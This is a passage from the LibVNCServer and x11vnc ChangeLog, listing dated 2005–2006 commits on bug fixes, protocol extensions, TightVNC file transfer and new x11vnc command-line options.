   5855 	x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h,
   5856 	x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c,
   5857 	x11vnc/options.h, x11vnc/params.h, x11vnc/pointer.c,
   5858 	x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c,
   5859 	x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
   5860 	x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c,
   5861 	x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h,
   5862 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/user.h,
   5863 	x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c,
   5864 	x11vnc/util.h, x11vnc/win_utils.c, x11vnc/win_utils.h,
   5865 	x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   5866 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
   5867 	x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xevents.h,
   5868 	x11vnc/xinerama.c, x11vnc/xinerama.h, x11vnc/xkb_bell.c,
   5869 	x11vnc/xkb_bell.h, x11vnc/xrandr.c, x11vnc/xrandr.h,
   5870 	x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c,
   5871 	x11vnc/xwrappers.h:  x11vnc: the big split.
   5872 
   5873 2006-01-08  runge <runge>
   5874 
   5875 	* ChangeLog, examples/pnmshow24.c, libvncclient/vncviewer.c,
   5876 	libvncserver/main.c:  fix client non-jpeg/libz builds
   5877 
   5878 2006-01-06  runge <runge>
   5879 
   5880 	* ChangeLog, libvncserver/main.c:  rfbRegisterProtocolExtension extMutex was never initialized.
   5881 
   5882 2005-12-24  runge <runge>
   5883 
   5884 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1,
   5885 	x11vnc/x11vnc.c:  x11vnc: enhance -passwdfile features, filetransfer on by default.
   5886 
   5887 2005-12-22  dscho <dscho>
   5888 
   5889 	* libvncserver/rfbserver.c: make compile again with pthreads; fix
   5890 	off-by-one error
   5891 
   5892 2005-12-19  dscho <dscho>
   5893 
   5894 	* AUTHORS, ChangeLog, libvncserver/cargs.c, libvncserver/main.c,
   5895 	libvncserver/rfbserver.c, rfb/rfb.h: introduce -deferptrupdate
   5896 	(thanks Dave)
   5897 
   5898 2005-12-19  dscho <dscho>
   5899 
   5900 	* client_examples/SDLvncviewer.c, libvncclient/sockets.c,
   5901 	libvncclient/vncviewer.c, libvncserver/main.c,
   5902 	libvncserver/rfbserver.c, libvncserver/sockets.c: assorted fixes for
   5903 	MinGW32
   5904 
   5905 2005-12-09  dscho <dscho>
   5906 
   5907 	* ChangeLog, configure.ac, libvncclient/sockets.c,
   5908 	libvncserver/sockets.c: work around write() returning ENOENT on
   5909 	Solaris 2.7
   5910 
   5911 2005-12-09  dscho <dscho>
   5912 
   5913 	* examples/mac.c: previous patch turned compile warning in a compile
   5914 	error; fix that ;-)
   5915 
   5916 2005-12-08  dscho <dscho>
   5917 
   5918 	* examples/mac.c: fix compile warnings
   5919 
   5920 2005-12-07  dscho <dscho>
   5921 
   5922 	* libvncclient/vncviewer.c: one more memory leak
   5923 
   5924 2005-12-07  dscho <dscho>
   5925 
   5926 	* ChangeLog, libvncclient/vncviewer.c, rfb/rfbclient.h: plug memory
   5927 	leaks
   5928 
   5929 2005-12-07  dscho <dscho>
   5930 
   5931 	* client_examples/SDLvncviewer.c: translate keys based on unicode
   5932 	(much more reliable than sym)
   5933 
   5934 2005-11-28  runge <runge>
   5935 
   5936 	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
   5937 	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: add -loop option.
   5938 
   5939 2005-11-25  runge <runge>
   5940 
   5941 	* ChangeLog, configure.ac, libvncclient/rfbproto.c,
   5942 	libvncclient/tight.c, libvncclient/vncviewer.c,
   5943 	libvncserver/Makefile.am, libvncserver/auth.c, libvncserver/main.c,
   5944 	libvncserver/private.h, libvncserver/rfbserver.c,
   5945 	libvncserver/tightvnc-filetransfer/filelistinfo.h,
   5946 	libvncserver/tightvnc-filetransfer/filetransfermsg.c,
   5947 	libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
   5948 	libvncserver/tightvnc-filetransfer/rfbtightserver.c,
   5949 	rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/ChangeLog,
   5950 	x11vnc/misc/x11vnc_pw, x11vnc/x11vnc.c:  fix deadlock from rfbReleaseExtensionIterator(), fix no
   5951 	 libz/libjpeg builds, disable tightvnc-filetransfer if no
   5952 	 libpthread, add --without-pthread option, rm // comments, set
   5953 	 NAME_MAX if not defined, x11vnc: throttle load if fb update
   5954 	 requests not taking place.
   5955 
   5956 2005-10-23  runge <runge>
   5957 
   5958 	* configure.ac, x11vnc/README:  configure.ac: test ... == ... not allowed on all unix.
   5959 
   5960 2005-10-23  runge <runge>
   5961 
   5962 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   5963 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -filexfer, -slow_fb, -blackout noptr,...
   5964 
   5965 2005-10-07  dscho <dscho>
   5966 
   5967 	* TODO: update TODO
   5968 
   5969 2005-10-07  dscho <dscho>
   5970 
   5971 	* examples/backchannel.c, libvncserver/rfbserver.c, rfb/rfb.h: The
   5972 	PseudoEncoding extension code was getting silly: If the client asked for an encoding, and no enabled extension
   5973 	handled it, LibVNCServer would walk through all extensions, and if
   5974 	they promised to handle the encoding, execute the extension's
   5975 	newClient() if it was not NULL.  However, if newClient is not NULL, it will be called when a client
   5976 	connects, and if it returns TRUE, the extension will be enabled.
   5977 	Since all the state of the extension should be in the client data,
   5978 	there is no good reason why newClient should return FALSE the first
   5979 	time (thus not enabling the extension), but TRUE when called just
   5980 	before calling enablePseudoEncoding().  So in effect, the extension got enabled all the time, even if that
   5981 	was not necessary.  The resolution is to pass a void** to enablePseudoEncoding. This has
   5982 	the further advantage that enablePseudoEncoding can remalloc() or
   5983 	free() the data without problems. Though keep in mind that if
   5984 	enablePseudoEncoding() is called on a not-yet-enabled extension, the
   5985 	passed data points to NULL.
   5986 
   5987 2005-10-06  dscho <dscho>
   5988 
   5989 	* ChangeLog: update ChangeLog for today
   5990 
   5991 2005-10-06  dscho <dscho>
   5992 
   5993 	* client_examples/Makefile.am, client_examples/SDLvncviewer.c,
   5994 	client_examples/backchannel.c, libvncclient/rfbproto.c,
   5995 	rfb/rfbclient.h: add an extension mechanism for LibVNCClient, modify
   5996 	the client data handling so that more than one data structure can be
   5997 	attached, and add an example to speak the client part of the back
   5998 	channel.
   5999 
   6000 2005-10-06  dscho <dscho>
   6001 
   6002 	* examples/Makefile.am, examples/backchannel.c: add BackChannel
   6003 	extension example
   6004 
   6005 2005-10-06  dscho <dscho>
   6006 
   6007 	* libvncclient/zrle.c: fix warning
   6008 
   6009 2005-10-06  dscho <dscho>
   6010 
   6011 	* configure.ac, examples/mac.c, libvncserver/main.c,
   6012 	libvncserver/rfbserver.c, libvncserver/stats.c,
   6013 	libvncserver/tightvnc-filetransfer/filetransfermsg.c, rfb/rfb.h,
   6014 	rfb/rfbproto.h: kill BackChannel and CustomClientMessage: the new
   6015 	extension technique makes these hooks obsolete
   6016 
   6017 2005-10-06  dscho <dscho>
   6018 
   6019 	* libvncserver/rfbserver.c,
   6020 	libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: 
   6021 	provide a list of the pseudo encodings understood by the extension
   6022 
   6023 2005-10-06  dscho <dscho>
   6024 
   6025 	* contrib/Makefile.am, x11vnc/Makefile.am: DEFINES -> AM_CFLAGS
   6026 
   6027 2005-10-06  dscho <dscho>
   6028 
   6029 	* client_examples/Makefile.am, examples/Makefile.am,
   6030 	libvncclient/Makefile.am,
   6031 	libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am: do
   6032 	it right: it is not DEFINES, but AM_CFLAGS
   6033 
   6034 2005-10-03  dscho <dscho>
   6035 
   6036 	* ChangeLog, libvncserver/rfbserver.c,
   6037 	libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add
   6038 	enablePseudoEncoding() to rfbProtocolExtension
   6039 
   6040 2005-09-29  dscho <dscho>
   6041 
   6042 	* TODO, index.html: more TODOs, and an update to the website
   6043 
   6044 2005-09-28  dscho <dscho>
   6045 
   6046 	* AUTHORS, ChangeLog, configure.ac, examples/.cvsignore,
   6047 	examples/Makefile.am, examples/filetransfer.c,
   6048 	libvncclient/.cvsignore, libvncserver/.cvsignore,
   6049 	libvncserver/Makefile.am, libvncserver/auth.c,
   6050 	libvncserver/cargs.c, libvncserver/main.c,
   6051 	libvncserver/rfbserver.c, libvncserver/sockets.c,
   6052 	libvncserver/tightvnc-filetransfer/.cvsignore,
   6053 	libvncserver/tightvnc-filetransfer/Makefile.am,
   6054 	libvncserver/tightvnc-filetransfer/filelistinfo.c,
   6055 	libvncserver/tightvnc-filetransfer/filelistinfo.h,
   6056 	libvncserver/tightvnc-filetransfer/filetransfermsg.c,
   6057 	libvncserver/tightvnc-filetransfer/filetransfermsg.h,
   6058 	libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
   6059 	libvncserver/tightvnc-filetransfer/handlefiletransferrequest.h,
   6060 	libvncserver/tightvnc-filetransfer/rfbtightproto.h,
   6061 	libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: This
   6062 	monster commit contains support for TightVNC's file transfer
   6063 	protocol.  Thank you very much, Rohit!
   6064 
   6065 2005-09-27  dscho <dscho>
   6066 
   6067 	* ChangeLog, libvncserver/cargs.c, libvncserver/main.c,
   6068 	libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: 
   6069 	Introduce generic protocol extension method. Deprecate the
   6070 	processCustomClientMessage() method.
   6071 
   6072 2005-09-27  dscho <dscho>
   6073 
   6074 	* libvncserver/auth.c, libvncserver/main.c, rfb/rfb.h: Security is
   6075 	global. This was a misguided attempt to evade a global list.  I
   6076 	eventually saw the light and went with Rohits original approach.
   6077 
   6078 2005-09-27  dscho <dscho>
   6079 
   6080 	* client_examples/Makefile.am, client_examples/vnc2mpg.c: support
   6081 	new ffmpeg version
   6082 
   6083 2005-09-26  dscho <dscho>
   6084 
   6085 	* ChangeLog, libvncserver/auth.c, libvncserver/main.c,
   6086 	libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: support VNC
   6087 	protocol version 3.7
   6088 
   6089 2005-08-22  dscho <dscho>
   6090 
   6091 	* prepare_x11vnc_dist.sh: for x11vnc standalone package, adaptions
   6092 	were needed after changing LibVNCServer.spec.in
   6093 
   6094 2005-08-21  dscho <dscho>
   6095 
   6096 	* AUTHORS, ChangeLog, LibVNCServer.spec.in: split rpm into three
   6097 	packages: the library, -devel (headers), and x11vnc
   6098 
   6099 2005-07-18  runge <runge>
   6100 
   6101 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6102 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: more gui fixes, gui requests via client_sock,
   6103 	 PASSWD_REQUIRED build opt.
   6104 
   6105 2005-07-13  runge <runge>
   6106 
   6107 	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
   6108 	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: setup for new release 0.7.3 while I remember how..
   6109 
   6110 2005-07-13  runge <runge>
   6111 
   6112 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6113 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: tweaks for release, fix queue buildup under -viewonly.
   6114 
   6115 2005-07-11  runge <runge>
   6116 
   6117 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6118 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: more improvements to gui, scary nopassword warning msg.
   6119 
   6120 2005-07-09  runge <runge>
   6121 
   6122 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6123 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -grab_buster for XGrabServer deadlock; fix scrolls and
   6124 	 copyrect for -clip and -id
   6125 
   6126 2005-07-07  runge <runge>
   6127 
   6128 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6129 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -gui tray now embeds in systray; more improvements to gui.
   6130 
   6131 2005-07-02  runge <runge>
   6132 
   6133 	* ChangeLog, libvncserver/httpd.c, x11vnc/ChangeLog, x11vnc/README,
   6134 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6135 	x11vnc/x11vnc.c:  x11vnc: -gui tray mode, httpd.c: check httpListenSock >= 0.
   6136 
   6137 2005-06-28  dscho <dscho>
   6138 
   6139 	* ChangeLog, TODO, libvncclient/zrle.c: fix annoying zrle decoding
   6140 	bug
   6141 
   6142 2005-06-27  runge <runge>
   6143 
   6144 	* ChangeLog, libvncserver/main.c:  main.c: fix screen->deferUpdateTime default.
   6145 
   6146 2005-06-27  runge <runge>
   6147 
   6148 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6149 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: track keycode state for heuristics, -sloppy_keys, -wmdt,
   6150 	 add -nodbg as option
   6151 
   6152 2005-06-21  dscho <dscho>
   6153 
   6154 	* TODO: ZRLE has problems with RealVNC server. Look into it.
   6155 
   6156 2005-06-21  runge <runge>
   6157 
   6158 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: long info and tips when XOpenDisplay fails, reinstate "bad
   6159 	 desktop" for wireframe
   6160 
   6161 2005-06-18  runge <runge>
   6162 
   6163 	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
   6164 	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  configure.ac: HP-UX and OSF1 no -R, x11vnc: second round of
   6165 	 beta-testing fixes.
   6166 
   6167 2005-06-14  runge <runge>
   6168 
   6169 	* ChangeLog, configure.ac, libvncserver/cursor.c, x11vnc/ChangeLog,
   6170 	x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6171 	x11vnc/x11vnc.c:  main.c: XReadScreen check, fix 64bit use of cursors, x11vnc: first
   6172 	 round of beta-testing fixes, RFE's.
   6173 
   6174 2005-06-11  dscho <dscho>
   6175 
   6176 	* ChangeLog, configure.ac: no longer complain on Solaris about
   6177 	missing ar, which was not really missing
   6178 
   6179 2005-06-06  dscho <dscho>
   6180 
   6181 	* rfb/rfbproto.h: add definitions from other VNC implementations
   6182 
   6183 2005-06-06  dscho <dscho>
   6184 
   6185 	* TODO: more TODOs
   6186 
   6187 2005-06-06  dscho <dscho>
   6188 
   6189 	* client_examples/Makefile.am, configure.ac: link to libmp3lame only
   6190 	if exists
   6191 
   6192 2005-06-04  runge <runge>
   6193 
   6194 	* ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README,
   6195 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6196 	x11vnc/x11vnc.c:  main.c: no sraRgnSubstract for copyRect, scrolls for x11vnc -scale;
   6197 	 add -fixscreen
   6198 
   6199 2005-05-31  runge <runge>
   6200 
   6201 	* ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README,
   6202 	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  main.c: fix copyRect for non-cursor-shape-aware clients.
   6203 
   6204 2005-05-25  dscho <dscho>
   6205 
   6206 	* index.html: news
   6207 
   6208 2005-05-25  runge <runge>
   6209 
   6210 	* ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog,
   6211 	x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6212 	x11vnc/x11vnc.c:  x11vnc: scrolling: grabserver, autorepeat throttling, mouse wheel,
   6213 	 fix onetile
   6214 
   6215 2005-05-24  dscho <dscho>
   6216 
   6217 	* examples/.cvsignore: mac works!
   6218 
   6219 2005-05-24  dscho <dscho>
   6220 
   6221 	* Makefile.am, configure.ac: make libvncserver-conf executable the
   6222 	autoconf way
   6223 
   6224 2005-05-24  dscho <dscho>
   6225 
   6226 	* Makefile.am: "make t" now executes the tests
   6227 
   6228 2005-05-24  dscho <dscho>
   6229 
   6230 	* libvncclient/Makefile.am: do distribute and depend on zrle.c
   6231 
   6232 2005-05-24  dscho <dscho>
   6233 
   6234 	* TODO, libvncclient/rfbproto.c, libvncclient/tight.c,
   6235 	libvncclient/vncviewer.c, libvncclient/zlib.c, libvncclient/zrle.c,
   6236 	test/encodingstest.c: implement ZRLE decoding
   6237 
   6238 2005-05-24  dscho <dscho>
   6239 
   6240 	* client_examples/SDLvncviewer.c: try 32 bit first
   6241 
   6242 2005-05-24  dscho <dscho>
   6243 
   6244 	* examples/example.c, libvncserver/font.c: fix off by one bug
   6245 
   6246 2005-05-23  dscho <dscho>
   6247 
   6248 	* libvncclient/tight.c, libvncclient/vncviewer.c: init a structure
   6249 	*before* using it...
   6250 
   6251 2005-05-23  dscho <dscho>
   6252 
   6253 	* libvncclient/tight.c: remove wrong comment
   6254 
   6255 2005-05-23  dscho <dscho>
   6256 
   6257 	* libvncclient/rfbproto.c, libvncclient/tight.c,
   6258 	libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h: make
   6259 	zlib and tight handling thread safe (static -> rfbClient)
   6260 
   6261 2005-05-23  dscho <dscho>
   6262 
   6263 	* client_examples/vnc2mpg.c: work around bug in ffmpeg
   6264 
   6265 2005-05-23  dscho <dscho>
   6266 
   6267 	* ChangeLog, configure.ac: simplify configure (do not check for
   6268 	malloc(0) bug)
   6269 
   6270 2005-05-23  dscho <dscho>
   6271 
   6272 	* client_examples/vnc2mpg.c: fix compilation for
   6273 	LIBAVCODEC_BUILD==4754
   6274 
   6275 2005-05-20  dscho <dscho>
   6276 
   6277 	* acinclude.m4: finally fix socklen_t problem
   6278 
   6279 2005-05-18  dscho <dscho>
   6280 
   6281 	* acinclude.m4: fix socklen_t also for defines
   6282 
   6283 2005-05-18  dscho <dscho>
   6284 
   6285 	* ChangeLog, acinclude.m4, rfb/rfb.h: fix compilation for systems
   6286 	without socklen_t
   6287 
   6288 2005-05-18  dscho <dscho>
   6289 
   6290 	* libvncserver/main.c: fix off by one bug
   6291 
   6292 2005-05-18  dscho <dscho>
   6293 
   6294 	* examples/vncev.c, libvncclient/listen.c, libvncclient/rfbproto.c,
   6295 	libvncclient/sockets.c, libvncclient/vncviewer.c,
   6296 	libvncserver/main.c, libvncserver/rfbserver.c,
   6297 	libvncserver/vncauth.c, rfb/rfb.h, test/copyrecttest.c,
   6298 	test/encodingstest.c, vncterm/VNCommand.c: hide strict ansi stuff if
   6299 	not explicitely turned on; actually use the socklen_t test from
   6300 	configure.ac
   6301 
   6302 2005-05-18  runge <runge>
   6303 
   6304 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6305 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: more scrolling, -scr_term, -wait_ui, -nowait_bog
   6306 
   6307 2005-05-17  dscho <dscho>
   6308 
   6309 	* libvncserver/Makefile.am: also distribute private.h...
   6310 
   6311 2005-05-17  dscho <dscho>
   6312 
   6313 	* TODO: update TODOs
   6314 
   6315 2005-05-16  dscho <dscho>
   6316 
   6317 	* libvncserver/rfbserver.c: fix SIGSEGV when client has incompatible
   6318 	protocol; release mutex before freeing it
   6319 
   6320 2005-05-15  dscho <dscho>
   6321 
   6322 	* ChangeLog, VisualNaCro/configure.ac, VisualNaCro/default8x16.h,
   6323 	VisualNaCro/nacro.c, client_examples/SDLvncviewer.c,
   6324 	client_examples/ppmtest.c, contrib/zippy.c, examples/example.c,
   6325 	examples/fontsel.c, examples/pnmshow.c, examples/pnmshow24.c,
   6326 	examples/radon.h, examples/storepasswd.c, examples/vncev.c,
   6327 	libvncclient/listen.c, libvncclient/rfbproto.c,
   6328 	libvncclient/sockets.c, libvncclient/vncviewer.c,
   6329 	libvncserver/auth.c, libvncserver/cargs.c, libvncserver/corre.c,
   6330 	libvncserver/cursor.c, libvncserver/d3des.c, libvncserver/font.c,
   6331 	libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c,
   6332 	libvncserver/private.h, libvncserver/rfbregion.c,
   6333 	libvncserver/rfbserver.c, libvncserver/rre.c,
   6334 	libvncserver/selbox.c, libvncserver/sockets.c,
   6335 	libvncserver/tight.c, libvncserver/translate.c,
   6336 	libvncserver/vncauth.c, libvncserver/zlib.c, libvncserver/zrle.c,
   6337 	libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c,
   6338 	rfb/default8x16.h, rfb/rfb.h, rfb/rfbproto.h, test/copyrecttest.c,
   6339 	test/cursortest.c, test/encodingstest.c, vncterm/VNCommand.c,
   6340 	vncterm/VNConsole.c: ANSIfy, fix some warnings from Linus' sparse
   6341 
   6342 2005-05-15  runge <runge>
   6343 
   6344 	* libvncserver/main.c, libvncserver/rfbserver.c:  libvncserver/{main.c,rfbserver.c}: fix a couple more CopyRect
   6345 	 memory leaks
   6346 
   6347 2005-05-14  dscho <dscho>
   6348 
   6349 	* .cvsignore, examples/.cvsignore, test/.cvsignore,
   6350 	x11vnc/misc/.cvsignore: more files to ignore
   6351 
   6352 2005-05-14  dscho <dscho>
   6353 
   6354 	* ChangeLog, examples/example.c, libvncserver/main.c,
   6355 	libvncserver/rfbserver.c: fix memory leaks detected using valgrind
   6356 
   6357 2005-05-14  runge <runge>
   6358 
   6359 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6360 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: more improvements to -scrollcopyrect and -xkb modes.
   6361 
   6362 2005-05-07  dscho <dscho>
   6363 
   6364 	* ChangeLog, VisualNaCro/nacro.c, VisualNaCro/nacro.h,
   6365 	examples/example.c, examples/fontsel.c, libvncserver/httpd.c,
   6366 	libvncserver/main.c, libvncserver/rfbserver.c,
   6367 	libvncserver/sockets.c, rfb/rfb.h, test/cursortest.c,
   6368 	vncterm/LinuxVNC.c, vncterm/VNConsole.c, x11vnc/x11vnc.c: 
   6369 	socketInitDone -> socketState
   6370 
   6371 2005-05-03  runge <runge>
   6372 
   6373 	* ChangeLog, configure.ac, libvncserver/main.c:  libvncserver/main.c: fix memory leak in
   6374 	 rfbDoCopyRect/rfbScheduleCopyRect; configure.ac tweaks.
   6375 
   6376 2005-05-03  runge <runge>
   6377 
   6378 	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
   6379 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6380 	x11vnc/x11vnc.c:  x11vnc: -scrollcopyrect/RECORD, etc. configure.ac: customizations
   6381 	 for x11vnc pkg
   6382 
   6383 2005-04-27  dscho <dscho>
   6384 
   6385 	* ChangeLog, libvncserver/rfbserver.c: clear requested region after
   6386 	handling it
   6387 
   6388 2005-04-19  runge <runge>
   6389 
   6390 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/README,
   6391 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6392 	x11vnc/x11vnc.c:  x11vnc: -wireframe, -wirecopyrect, -privremote, -safer, -nocmd,
   6393 	 -unsafe, -noviewonly
   6394 
   6395 2005-04-12  runge <runge>
   6396 
   6397 	* x11vnc/ChangeLog, x11vnc/misc/Makefile.am, x11vnc/misc/ranfb.pl:  x11vnc: add rawfb setup example misc/ranfb.pl
   6398 
   6399 2005-04-11  runge <runge>
   6400 
   6401 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/slide.pl,
   6402 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6403 	x11vnc/x11vnc.c:  x11vnc: fix some -rawfb bugs, add setup:cmd
   6404 
   6405 2005-04-10  runge <runge>
   6406 
   6407 	* ChangeLog, configure.ac, prepare_x11vnc_dist.sh,
   6408 	x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
   6409 	x11vnc/misc/Makefile.am, x11vnc/misc/README,
   6410 	x11vnc/misc/blockdpy.c, x11vnc/misc/dtVncPopup,
   6411 	x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear,
   6412 	x11vnc/misc/slide.pl, x11vnc/misc/vcinject.pl,
   6413 	x11vnc/misc/x11vnc_loop, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   6414 	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -rawfb, -pipeinput, -xtrap, -flag, ...
   6415 
   6416 2005-04-04  runge <runge>
   6417 
   6418 	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
   6419 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6420 	x11vnc/x11vnc.c:  x11vnc: use DEC-XTRAP on legacy X11R5, -shiftcmap, -http
   6421 
   6422 2005-03-29  runge <runge>
   6423 
   6424 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6425 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: fix event leaks, build-time customizations, -nolookup
   6426 
   6427 2005-03-20  runge <runge>
   6428 
   6429 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6430 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: scale cursors, speed up some scaling, alt arrows, -norepeat
   6431 	 N
   6432 
   6433 2005-03-12  runge <runge>
   6434 
   6435 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6436 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: X DAMAGE support, -clip WxH+X+Y, identd.
   6437 
   6438 2005-03-09  dscho <dscho>
   6439 
   6440 	* test/encodingstest.c: fix compilation when no libz is available
   6441 
   6442 2005-03-07  dscho <dscho>
   6443 
   6444 	* configure.ac, rfb/rfbproto.h: do the in_addr_t stuff correctly...
   6445 
   6446 2005-03-07  dscho <dscho>
   6447 
   6448 	* configure.ac: check for in_addr_t
   6449 
   6450 2005-03-06  dscho <dscho>
   6451 
   6452 	* client_examples/SDLvncviewer.c: fix for older SDL versions
   6453 
   6454 2005-03-05  runge <runge>
   6455 
   6456 	* ChangeLog, Makefile.am, configure.ac, libvncserver/Makefile.am:  autoconf: rpm -> rpmbuild and echo -n -> printf
   6457 
   6458 2005-03-05  runge <runge>
   6459 
   6460 	* ChangeLog, libvncclient/sockets.c, libvncserver/cargs.c,
   6461 	libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c,
   6462 	rfb/rfb.h, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6463 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  add '-listen ipaddr' option
   6464 
   6465 2005-03-01  dscho <dscho>
   6466 
   6467 	* client_examples/ppmtest.c: do not crash when /tmp is not writable
   6468 
   6469 2005-02-23  runge <runge>
   6470 
   6471 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: final changes for 0.7.1 release.
   6472 
   6473 2005-02-22  runge <runge>
   6474 
   6475 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6476 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -nap is now the default, version str 0.7.1.
   6477 
   6478 2005-02-14  runge <runge>
   6479 
   6480 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6481 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -users lurk=, -solid for cde, -gui ez,.. beginner mode.
   6482 
   6483 2005-02-11  runge <runge>
   6484 
   6485 	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
   6486 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc -input to fine tune allow user input.  per-client settings
   6487 	 -R
   6488 
   6489 2005-02-09  runge <runge>
   6490 
   6491 	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
   6492 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   6493 	x11vnc/x11vnc.c:  x11vnc -users, fix -solid on gnome/kde, configure.ac pwd.h wait.h
   6494 	 and utmpx.h
   6495 
   6496 2005-02-07  runge <runge>
   6497 
